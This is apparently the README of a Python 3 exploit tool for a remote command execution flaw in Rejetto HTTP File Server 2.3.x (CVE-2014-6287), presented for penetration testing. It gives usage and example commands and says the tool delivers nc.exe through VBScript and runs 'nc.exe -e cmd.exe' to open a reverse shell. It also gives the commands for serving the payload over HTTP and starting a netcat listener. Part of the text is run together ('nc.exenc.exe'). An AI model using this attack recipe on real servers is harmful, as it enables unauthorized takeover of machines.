
Remote Command Execution exploit for Rejetto HTTP File Server 2.3.x (CVE-2014-6287) rewritten in Python 3 for modern offensive security testing.
This is a Python 3 rewrite of the classic Remote Command Execution (RCE) exploit targeting Rejetto HTTP File Server (HFS) v2.3.x, leveraging the vulnerability identified as CVE-2014-6287.
Originally discovered by Avinash Kumar Thapa aka "-Acid", this version improves portability and usability, providing full parameterization and modern compatibility.
This tool is provided exclusively for educational and authorized penetration testing purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
nc.exenc.exe reverse shell delivery using VBScriptnc.exenc.exe -e cmd.exe to establish reverse shellpython3 exploit.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LISTEN_LOCAL_PORT> <NC_DOWNLOAD_PORT>
Example:
python3 exploit.py 192.168.1.10 80 192.168.1.5 4444 8000
Requirements:
- HTTP server serving nc.exe:
python3 -m http.server 8000
- Listener:
nc -lvnp 4444